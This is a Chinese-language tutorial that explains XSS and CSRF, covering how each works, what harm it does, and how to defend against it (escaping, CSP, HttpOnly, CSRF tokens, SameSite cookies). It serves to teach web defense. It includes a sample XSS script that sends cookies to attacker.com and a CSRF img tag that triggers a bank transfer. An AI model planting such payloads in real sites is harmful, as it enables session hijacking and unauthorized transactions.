XSS(跨站脚本攻击,Cross-Site Scripting)
🔹 原理
- 攻击者把恶意 脚本代码 注入到网页里。
- 当其他用户访问该网页时,脚本会在他们的浏览器里执行。
- 因为脚本运行在“受害者的浏览器”里,所以能直接拿到敏感数据,比如 Cookie、localStorage、DOM 内容。
🔹 举例
- 网站的评论区没有过滤用户输入。
- 攻击者评论了一段恶意代码:
<script>
fetch("http://attacker.com/steal?cookie=" + document.cookie)
</script>
- 其他用户一旦打开评论区,这段代码就执行,把他们的 Cookie 发送到攻击者服务器。
🔹 危害
- 窃取用户 Cookie(导致会话劫持、盗号)。
- 伪造页面,引导用户输入账号密码(钓鱼)。
- 在用户浏览器中执行恶意操作(比如代替用户转账)。
🔹 防御
- 前端/服务端过滤和转义输入(例如把
<转义成<)。 - 使用 CSP(Content Security Policy) 限制能执行的脚本来源。
- Cookie 设置 HttpOnly(这样 JS 无法读取 Cookie)。
CSRF(跨站请求伪造,Cross-Site Request Forgery)
🔹 原理
- 攻击者诱导用户,在 已登录目标网站 的情况下,去触发恶意请求。
- 由于浏览器会自动附带 Cookie,目标网站就会认为这是“合法用户操作”。
🔹 举例
- 你已经登录了银行网站
bank.com,浏览器里有合法的sessionid=abc123Cookie。 - 攻击者在另一个网站放了一个图片:
<img src="http://bank.com/transfer?to=attacker&amount=10000">
- 当你访问攻击者网站时,浏览器会自动带上 Cookie,向银行发起请求。
- 银行后端看到 Cookie 是合法的,就以为这是你本人操作,完成了转账。
🔹 危害
- 用户在不知情的情况下,执行了敏感操作:转账、改密码、删数据……
- 特别依赖 Cookie 自动附带 机制的旧系统最容易中招。
🔹 防御
- CSRF Token:表单里加一个随机 Token,攻击者网站无法伪造。
- SameSite Cookie 属性:阻止第三方请求时携带 Cookie。
Set-Cookie: sessionid=abc123; SameSite=Strict
- 关键操作加二次验证(短信/验证码)。
为什么用户会访问攻击者网站?
攻击者不会告诉你“嘿,点我,我要偷你钱”,而是用各种方式诱导你:
- 在一个热门网站的广告位,放一个看似正常的图片或链接。
- 给你发一封钓鱼邮件,里面嵌入
<img>或<a>。 - 在社交平台上发一个短链,点开就是攻击页面。
你点进去之后,页面 自动加载了攻击者写的 HTML,而里面的 <img> 或 <form> 就会向银行发请求。
👉 关键点:CSRF 不需要你主动在银行网站上操作,它利用的是你“已经登录过银行,浏览器里还保存着 Cookie”这一事实。
“Cookie 不允许跨域”是真的吗?
这是很多同学常见的误区,需要区分两种情况:
(1) 跨域访问限制(Same-Origin Policy)
- 是指 前端脚本(JS) 无法随意访问别的域名的响应数据。
- 例如:在
evil.com页面里写fetch("http://bank.com/account"),是会被浏览器拦截的(除非 CORS 允许)。
(2) HTTP 请求携带 Cookie
- 只要你访问的是
bank.com域名(哪怕请求是从别的网页触发的),浏览器都会自动带上属于bank.com的 Cookie。 - 因为 Cookie 的“作用域”是域名,不是页面来源。
也就是说:
- 你在
evil.com页面里写:
<img src="http://bank.com/transfer?to=attacker&amount=10000">
浏览器就会向 bank.com 发送请求。
- 虽然
**evil.com**自己拿不到响应结果(被 SOP 限制),但请求本身已经带上了bank.com的 Cookie。 - 银行服务器看到合法的
sessionid,就以为真的是你本人操作。
👉 所以,CSRF 并不是“跨域获取数据”,而是“跨站发请求时 Cookie 被自动带上”。
一个直观比喻
- 你在银行(bank.com)办业务,银行给了你一张会员卡(Cookie,表示你已登录)。
- 然后你去别的商场(evil.com),商场的人偷偷拿你的会员卡帮你在银行窗口排了个转账业务单。
- 银行柜台只看会员卡(Cookie),不管人是不是你本人,就执行了。
那么,如何防御?
正因为 Cookie 会自动带上,CSRF 防御就围绕“确认发请求的真的是你本人操作”展开:
- CSRF Token:表单里带随机数,攻击者无法伪造。
- SameSite Cookie:禁止第三方请求时附带 Cookie。
SameSite=Strict:最安全,必须用户主动在本站点击才带 Cookie。SameSite=Lax:GET 请求可以带,POST/敏感操作不带。
- 双重验证:转账再输一次密码或短信验证码。
小结
- CSRF 成立的前提是:浏览器会 自动附带 Cookie 到相应域名,哪怕请求不是从该网站发起的页面,而是第三方页面触发的。
- 跨域限制(SOP/CORS)是防 JS 窃取数据,不是防浏览器发请求。
- 攻击者利用的就是:“你登录过,浏览器记住了登录态”。
本质区别
| XSS | CSRF | |
|---|---|---|
| 攻击点 | 在浏览器里执行恶意代码 | 在服务器端利用自动附带 Cookie |
| 依赖点 | 用户输入没过滤,能注入脚本 | 用户已经登录目标网站,且 Cookie 会自动带上 |
| 窃取目标 | 用户数据(Cookie、localStorage、DOM) | 用户的身份(合法 Cookie) |
| 防御重点 | 输入输出过滤,限制脚本执行 | 阻止第三方滥用 Cookie(Token、SameSite) |